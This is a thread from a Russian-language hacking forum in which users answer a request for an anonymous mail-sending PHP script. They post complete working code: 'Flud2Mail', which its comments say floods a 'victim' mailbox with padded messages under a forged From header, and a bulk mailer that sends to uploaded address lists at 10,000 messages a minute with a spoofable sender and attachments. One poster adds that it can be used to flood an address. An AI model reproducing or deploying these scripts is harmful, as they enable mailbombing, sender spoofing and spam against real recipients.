• XSS.stack #1 – первый литературный журнал от юзеров форума

mail sender

jet92

(L3) cache
Пользователь
Регистрация
09.03.2008
Сообщения
234
Реакции
4
СРОЧНО!
Ищу скрипт для отправки анонимных почтовых сообщений!!!!

именно нужн скрипт на php.

хочу залить его на хост, и чтобы его мог юзать любой желающий.

спс всем.


:baby:
 
<?php

/*
Название: Flud2Mail (F2M) 0.1
Автор: Terabyte (www.xss.ru)
Описание: скрипт служит для зафлуживания мыл плохих людей =) Скорость зависит от сервера (в любом случае с сервака быстрее флудить, чем с модема через флудеры под винду).
*/

set_time_limit(0); // убрать ограничение по времени
ignore_user_abort(1); // Игнорировать разрыв связи с браузером

$email=$_POST['email']; // Мыло жертвы
$num=$_POST['num']; // Число писем
$text=$_POST['text']; // Текст флуда
$kb=$_POST['kb']; // Вес письма (kb)

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Flud2Mail (F2M) 0.1</title>

<script language="JavaScript"><!--
function reset_form() {
document.forms[0].elements[0].value="";
document.forms[0].elements[1].value="";
document.forms[0].elements[2].value="";
document.forms[0].elements[3].value="";
}
//--></script>

</head>
<body bgcolor="#ddddd0">

<h1 align="center">Flud2Mail</h1>

<?php


if (($email!="" and isset($email)) and ($num!="" and isset($num)) and ($text!="" and isset($text)) and ($kb!="" and isset($kb))) {

$num_text=strlen($text)+1; // Определяет длинну текста + 1 (пробел в конце)
$num_kb=(1024/$num_text)*$kb;
$num_kb=ceil($num_kb);

for ($i=1; $i<=$num_kb; $i++) {
$msg=$msg.$text." ";
}

for ($i=1; $i<=$num; $i++) {
mail($email, $text, $msg, "From: $email");
}

$all_kb=$num*$kb;

echo <<<EOF
<p align="center">Жертва: <b>$email</b>

Кол-во писем: <b>$num</b>

Общий посланный объем: <b>$all_kb kb</b>
</p>
EOF;

}

else {

echo <<<EOF
<form action="f2m.php" method="post">
<table align="center" border="1" bordercolor="#000000">
<tr><td>Мыло жертвы</td><td><input type="text" name="email" value="dom@mod.ru" size="25"></td></tr>
<tr><td>Число писем</td><td><input type="text" name="num" value="5" size="25"></td></tr>
<tr><td>Текст флуда</td><td><input type="text" name="text" value="www.xss.ru" size="25"></td></tr>
<tr><td>Вес письма (kb)</td><td><input type="text" name="kb" value="10" size="25"></td></tr>
<tr><td colspan="2" align="center"><input type="submit"> <input type="button" onclick="reset_form()" value="Reset"></td></tr>
</table>
</form>
EOF;

}


echo base64_decode("PGgzIGFsaWduPSJjZW50ZXIiPlBvd2VyZWQgYnkgPGEgaHJlZj0iaHR0cDovL3d3dy54c3MucnUiPlhTUy1GMk0gMC4xPC9hPjwvaDM+");

?>

</body>
</html>

:yes2:
 
Noctambulaar

босюь ты не до конца понял.

нужен скрипт типо вот этого.




Код:
<html>
<head>
  <title>Mail</title>
<style type="text/css">
body {font-family: Arial, Helvetica, sans-serif;font-size: 11px;}
td {font-family: Arial, Helvetica, sans-serif;font-size: 11px;}
h1 {font-family: Arial, Helvetica, sans-serif;font-size: 16px; color:#72BA75; }
a {font-family: Arial, Helvetica, sans-serif;font-size: 11px;color : #000000;text-decoration: underline;}
a:hover{font-family: Arial, Helvetica, sans-serif;font-size: 11px;color : #294A7B;text-decoration: none;}
INPUT.button {padding:0px;height: 21px;font-family:Tahoma; font-size:12px;color:#FFFFFF; background-color:#B9BAC8; border: 1px solid #F7F7F7; cursor: pointer;font-weight: bold;}
INPUT.inp {border: 1px solid #B9BAC8;background-color:#FFFFFF; font-size:11px;height: 18px; font-family:Arial;}
textarea.inp {border: 1px solid #B9BAC8;background-color:#FFFFFF; font-size:11px; font-family:Arial;}
</style>
</head>
<body>

<?php
$message_in_min = 10000;
$mode = $HTTP_POST_VARS['mode'];

switch($mode){
  case 'send':
    if(isset($HTTP_POST_FILES['filename']['tmp_name'])){
      $base_name = $HTTP_POST_FILES['filename']['name'];
      $f = fopen($HTTP_POST_FILES['filename']['tmp_name'],"rb");
      $attach = base64_encode(fread($f,filesize($HTTP_POST_FILES['filename']['tmp_name'])));
      $isfile = 1;
    }
    else {$isfile = 0;}
    # Проверки #################################################################
    $from = $HTTP_POST_VARS['from'];
    if(empty($from)){echo("Неуказан адрес отправителя");exit;}
    else if(!preg_match("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i",$from)){echo("$from - не верный адрес отправителя"); exit;}
    $fromname = @$HTTP_POST_VARS['fromname'];
    if(isset($fromname)){$from = $fromname." <$from>";}
    $subject = $HTTP_POST_VARS['subject'];
    $subject =  htmlspecialchars(stripslashes($subject));
    if(!$subject){echo("Опять же, кто будет писать тему сообщения?");}
    $type = $HTTP_POST_VARS['type'];
    $message = $HTTP_POST_VARS['message'];
    if($type == 'text'){$message =  htmlspecialchars(stripslashes($message));}
    if(!$message){echo("Короче, нужно что то написать. Где сообщение-то?"); exit;}
    ############################################################################
    $to_arr = file(@$HTTP_POST_FILES['to']['tmp_name']);
    // print_r($to_arr);exit;
    $to_arr = array_unique($to_arr);
    $i = 0;
    $current_message= 0;
    $num_send = 0;
    $num_bad  = 0;
    $num_error= 0;
    while(isset($to_arr[$i])){
      $to_arr[$i] = trim($to_arr[$i]);
      if(!preg_match("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i",$to_arr[$i])){
        echo($to_arr[$i].' - голимый адрес, я на его отправлять ничего не собираюсь'."
\n");
        $num_bad++;
      }
      else{
        if(sendemail($from,$to_arr[$i],$subject,$message,$type)){
          echo('Сообщение на '.$to_arr[$i]." отправлено
\n"); flush();
          $num_send++;
        }
        else{$num_error++;}
      }
      $current_message++;
      if($current_message == $message_in_min){
        $current_message = 0;
        echo('Отправлено '.$message_in_min.' соообщений. Пауза 60 сек.'."
\n");
        flush();
        sleep(30);
        echo('<!---->'."\n");
        flush();
        sleep(30);
      }
      $i++;
    }
    echo('<hr size="1" color="#000000">Рассылка завершена!
'."\n");
    echo('
      <b>Отправлено  : '.$num_send.'</b>
      <b>Ошибок связи: '.$num_error.'</b>
      <b>Плохих email: '.$num_bad.'</b>
      <hr size="1" color="#000000">
    ');
  break;
  default:
    echo('
<div align="center">
<h1>Рассылка писем</h1>
<form method="post" enctype="multipart/form-data">
<table align="center" border="0">
<tr>
  <td align="right" bgcolor="#EBEBEB"><strong>От кого (Имя):</strong></td>
  <td><input type="Text" class="inp" name="fromname" value="" size="30"> * - Не обязательно. Например, Пупкин И.И.</td>
</tr>
<tr>
  <td align="right" bgcolor="#EBEBEB"><strong>От кого (Email):</strong></td>
  <td><input type="Text" class="inp" name="from" value="" size="30"> * - Только email адрес</td>
</tr>
<tr>
  <td align="right" bgcolor="#EBEBEB"><strong>Кому:</strong></td>
  <td><input type="File" name="to" class="inp" size="68"></td>
</tr>
<tr>
  <td align="right" bgcolor="#EBEBEB"><strong>Тема:</strong></td>
  <td><input type="Text" class="inp" name="subject" value="" size="80"></td>
</tr>
<tr>
  <td valign="top" align="right" bgcolor="#EBEBEB"><strong>Сообщение:</strong></td>
  <td><textarea name="message" rows="10" cols="82" class="inp"></textarea></td>
</tr>
<tr>
  <td align="right" bgcolor="#EBEBEB"><strong>Фаил:</strong></td>
  <td><input type="File" name="filename" class="inp" size="68"></td>
</tr>
<tr>
  <td align="right" bgcolor="#EBEBEB"><strong>Формат</strong></td>
  <td>

<table width="100%">
<tr>
  <td width="20"><input class="inp" type="Radio" name="type" value="text" checked></td>
  <td width="40">text    </td>
  <td width="20"><input class="inp" type="Radio" name="type" value="html"></td>
  <td width="40">html</td>
  <td align="right"><input type="Hidden" name="mode" value="send"><input type="Submit" class="inp" value="Отправить"></td>
</tr>
</table>

</td>
</tr>
<tr>
  <td bgcolor="#EBEBEB"></td>
  <td><hr size="3" color="#F7F7F7"></td>
</tr>
</table>
</form>
</div>
');
  break;
}

function sendemail($from,$to,$subject,$message,$type){
  $bound = time().'SPB';
  global $attach, $base_name, $isfile;

  $sep = chr(13).chr(10); // Разделитель строк заголовка
  switch($type){
    case 'text':
      $headers = "From: ".$from.$sep;
      $headers.= "X-Priority: 3".$sep;
      $headers.= "X-MSMail-Priority: Normal".$sep;
      $headers.= "X-Mailer: PHP/".phpversion().$sep;
      $headers.= "MIME-Version: 1.0".$sep;
      $headers.= "Content-Type: multipart/mixed; boundary=\"".$bound."\"".$sep.$sep;

      $body = "--$bound".$sep;
      $body.= "Content-type: text/plain; charset=\"windows-1251\"".$sep;
      $body.= "Content-Transfer-Encoding: 8bit".$sep.$sep;
      $body.= $message.$sep;
      
      if($isfile == 1){
        $body.= "$sep$sep--$bound".$sep;
        $body.= "Content-Type: application/octet-stream;";
        $body.= "name=\"".basename($base_name)."\"".$sep;
        $body.= "Content-Transfer-Encoding:base64".$sep;
        $body.= "Content-Disposition:attachment".$sep.$sep;
        $body.= $attach.$sep;
      }
      // $body.="$bound--".$sep.$sep;
    break;
    case 'html':
      $headers = "From: ".$from.$sep;
      $headers.= "X-Priority: 3".$sep;
      $headers.= "X-MSMail-Priority: Normal".$sep;
      $headers.= "X-Mailer: PHP/".phpversion().$sep;
      $headers.= "MIME-Version: 1.0".$sep;
      $headers.= "Content-Type: multipart/mixed; boundary=\"".$bound."\"".$sep.$sep;

      $body = "--$bound".$sep;
      $body.= "Content-type: text/html; charset=\"windows-1251\"".$sep;
      $body.= "Content-Transfer-Encoding: 8bit".$sep.$sep;
      $body.= $message.$sep;

      if($isfile == 1){
        $body.= "$sep$sep--$bound".$sep;
        $body.= "Content-Type: application/octet-stream;";
        $body.= "name=\"".basename($base_name)."\"".$sep;
        $body.= "Content-Transfer-Encoding:base64".$sep;
        $body.= "Content-Disposition:attachment".$sep.$sep;
        $body.= $attach.$sep;
      }
      // $body.="$bound--".$sep.$sep;
    break;
    default:
      echo('<center><b>Неверный параметр типа письма.</b></center>');
    break;
  }
  if(mail($to,$subject,$body,$headers)){return true;}
  else{return false;}
}
?>
</body>
</html>

только отправляющий на один адрес, и действительно рабочий.

а то, этот что то не воркает.

:(
 
Lonely wolf дал скриптик.


<?php

$Name = "Da Duder"; //senders name
$email = "qwe123@bk.ru"; //senders e-mail adress
$recipient = "1ran@mail.ru"; //recipient
$mail_body = ",asd-201,2s,12s-12ls12,s;l12ms12msl12ms12ms;l12ms192"; //mail body
$subject = "Subject for reviever"; /subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields

mail($recipient, $subject, $mail_body, $header); //mail command :)
?>

вот так сделал.

проверяю почту, $recipient = "1ran@mail.ru"; //recipient



только тоже что то не воркает он(((
 
Код:
<html>
<head>
 <title>Mail</title>
<style type="text/css">
body {font-family: Arial, Helvetica, sans-serif;font-size: 11px;}
td {font-family: Arial, Helvetica, sans-serif;font-size: 11px;}
h1 {font-family: Arial, Helvetica, sans-serif;font-size: 16px; color:#72BA75; }
a {font-family: Arial, Helvetica, sans-serif;font-size: 11px;color : #000000;text-decoration: underline;}
a:hover{font-family: Arial, Helvetica, sans-serif;font-size: 11px;color : #294A7B;text-decoration: none;}
INPUT.button {padding:0px;height: 21px;font-family:Tahoma; font-size:12px;color:#FFFFFF; background-color:#B9BAC8; border: 1px solid #F7F7F7; cursor: pointer;font-weight: bold;}
INPUT.inp {border: 1px solid #B9BAC8;background-color:#FFFFFF; font-size:11px;height: 18px; font-family:Arial;}
textarea.inp {border: 1px solid #B9BAC8;background-color:#FFFFFF; font-size:11px; font-family:Arial;}
</style>
</head>
<body>

<?php
$message_in_min = 10000;
$mode = $HTTP_POST_VARS['mode'];

дико извеняюсь, вот хороший работающий скриптик!
Просто у меня с хостингом траблы были.

switch($mode){
 case 'send':
   if(isset($HTTP_POST_FILES['filename']['tmp_name'])){
     $base_name = $HTTP_POST_FILES['filename']['name'];
     $f = fopen($HTTP_POST_FILES['filename']['tmp_name'],"rb");
     $attach = base64_encode(fread($f,filesize($HTTP_POST_FILES['filename']['tmp_name'])));
     $isfile = 1;
   }
   else {$isfile = 0;}
   # Проверки #################################################################
   $from = $HTTP_POST_VARS['from'];
   if(empty($from)){echo("Неуказан адрес отправителя");exit;}
   else if(!preg_match("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i",$from)){echo("$from - не верный адрес отправителя"); exit;}
   $fromname = @$HTTP_POST_VARS['fromname'];
   if(isset($fromname)){$from = $fromname." <$from>";}
   $subject = $HTTP_POST_VARS['subject'];
   $subject =  htmlspecialchars(stripslashes($subject));
   if(!$subject){echo("Опять же, кто будет писать тему сообщения?");}
   $type = $HTTP_POST_VARS['type'];
   $message = $HTTP_POST_VARS['message'];
   if($type == 'text'){$message =  htmlspecialchars(stripslashes($message));}
   if(!$message){echo("Короче, нужно что то написать. Где сообщение-то?"); exit;}
  & nbsp;###########################################################################
#
   $to_arr = file(@$HTTP_POST_FILES['to']['tmp_name']);
   // print_r($to_arr);exit;
   $to_arr = array_unique($to_arr);
   $i = 0;
   $current_message= 0;
   $num_send = 0;
   $num_bad  = 0;
   $num_error= 0;
   while(isset($to_arr[$i])){
     $to_arr[$i] = trim($to_arr[$i]);
     if(!preg_match("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i",$to_arr[$i])){
       echo($to_arr[$i].' - голимый адрес, я на его отправлять ничего не собираюсь'."
\n");
       $num_bad++;
     }
     else{
       if(sendemail($from,$to_arr[$i],$subject,$message,$type)){
         echo('Сообщение на '.$to_arr[$i]." отправлено
\n"); flush();
         $num_send++;
       }
       else{$num_error++;}
     }
     $current_message++;
     if($current_message == $message_in_min){
       $current_message = 0;
       echo('Отправлено '.$message_in_min.' соообщений. Пауза 60 сек.'."
\n");
       flush();
       sleep(30);
       echo('<!---->'."\n");
       flush();
       sleep(30);
     }
     $i++;
   }
   echo('<hr size="1" color="#000000">Рассылка завершена!
'."\n");
   echo('
     <b>Отправлено  : '.$num_send.'</b>
     <b>Ошибок связи: '.$num_error.'</b>
     <b>Плохих email: '.$num_bad.'</b>
     <hr size="1" color="#000000">
   ');
 break;
 default:
   echo('
<div align="center">
<h1>Рассылка писем</h1>
<form method="post" enctype="multipart/form-data">
<table align="center" border="0">
<tr>
 <td align="right" bgcolor="#EBEBEB"><strong>От кого (Имя):</strong></td>
 <td><input type="Text" class="inp" name="fromname" value="" size="30"> * - Не обязательно. Например, Пупкин И.И.</td>
</tr>
<tr>
 <td align="right" bgcolor="#EBEBEB"><strong>От кого (Email):</strong></td>
 <td><input type="Text" class="inp" name="from" value="" size="30"> * - Только email адрес</td>
</tr>
<tr>
 <td align="right" bgcolor="#EBEBEB"><strong>Кому:</strong></td>
 <td><input type="File" name="to" class="inp" size="68"></td>
</tr>
<tr>
 <td align="right" bgcolor="#EBEBEB"><strong>Тема:</strong></td>
 <td><input type="Text" class="inp" name="subject" value="" size="80"></td>
</tr>
<tr>
 <td valign="top" align="right" bgcolor="#EBEBEB"><strong>Сообщение:</strong></td>
 <td><textarea name="message" rows="10" cols="82" class="inp"></textarea></td>
</tr>
<tr>
 <td align="right" bgcolor="#EBEBEB"><strong>Фаил:</strong></td>
 <td><input type="File" name="filename" class="inp" size="68"></td>
</tr>
<tr>
 <td align="right" bgcolor="#EBEBEB"><strong>Формат</strong></td>
 <td>

<table width="100%">
<tr>
 <td width="20"><input class="inp" type="Radio" name="type" value="text" checked></td>
 <td width="40">text    </td>
 <td width="20"><input class="inp" type="Radio" name="type" value="html"></td>
 <td width="40">html</td>
 <td align="right"><input type="Hidden" name="mode" value="send"><input type="Submit" class="inp" value="Отправить"></td>
</tr>
</table>

</td>
</tr>
<tr>
 <td bgcolor="#EBEBEB"></td>
 <td><hr size="3" color="#F7F7F7"></td>
</tr>
</table>
</form>
</div>
');
 break;
}

function sendemail($from,$to,$subject,$message,$type){
 $bound = time().'SPB';
 global $attach, $base_name, $isfile;

 $sep = chr(13).chr(10); // Разделитель строк заголовка
 switch($type){
   case 'text':
     $headers = "From: ".$from.$sep;
     $headers.= "X-Priority: 3".$sep;
     $headers.= "X-MSMail-Priority: Normal".$sep;
     $headers.= "X-Mailer: PHP/".phpversion().$sep;
     $headers.= "MIME-Version: 1.0".$sep;
     $headers.= "Content-Type: multipart/mixed; boundary=\"".$bound."\"".$sep.$sep;

     $body = "--$bound".$sep;
     $body.= "Content-type: text/plain; charset=\"windows-1251\"".$sep;
     $body.= "Content-Transfer-Encoding: 8bit".$sep.$sep;
     $body.= $message.$sep;
     
     if($isfile == 1){
       $body.= "$sep$sep--$bound".$sep;
       $body.= "Content-Type: application/octet-stream;";
       $body.= "name=\"".basename($base_name)."\"".$sep;
       $body.= "Content-Transfer-Encoding:base64".$sep;
       $body.= "Content-Disposition:attachment".$sep.$sep;
       $body.= $attach.$sep;
     }
     // $body.="$bound--".$sep.$sep;
   break;
   case 'html':
     $headers = "From: ".$from.$sep;
     $headers.= "X-Priority: 3".$sep;
     $headers.= "X-MSMail-Priority: Normal".$sep;
     $headers.= "X-Mailer: PHP/".phpversion().$sep;
     $headers.= "MIME-Version: 1.0".$sep;
     $headers.= "Content-Type: multipart/mixed; boundary=\"".$bound."\"".$sep.$sep;

     $body = "--$bound".$sep;
     $body.= "Content-type: text/html; charset=\"windows-1251\"".$sep;
     $body.= "Content-Transfer-Encoding: 8bit".$sep.$sep;
     $body.= $message.$sep;

     if($isfile == 1){
       $body.= "$sep$sep--$bound".$sep;
       $body.= "Content-Type: application/octet-stream;";
       $body.= "name=\"".basename($base_name)."\"".$sep;
       $body.= "Content-Transfer-Encoding:base64".$sep;
       $body.= "Content-Disposition:attachment".$sep.$sep;
       $body.= $attach.$sep;
     }
     // $body.="$bound--".$sep.$sep;
   break;
   default:
     echo('<center><b>Неверный параметр типа письма.</b></center>');
   break;
 }
 if(mail($to,$subject,$body,$headers)){return true;}
 else{return false;}
}
?>
</body>
</html>
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Всё нормально я дал. У "Lonely wolf дал скриптик." такой же
Мне влом было набирать.
Ему сервис готовый нужен а я просто функцию отправки дал :)
 
я же обьяснил что терка была в хостинге.

скриптик который я дал большой отлично шлет.

причем может слать не 1-2 письма а тысячами......

<_<

можно про дублировать один мыльник пару к раз, и зафлудить)))

и еще много много применений.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх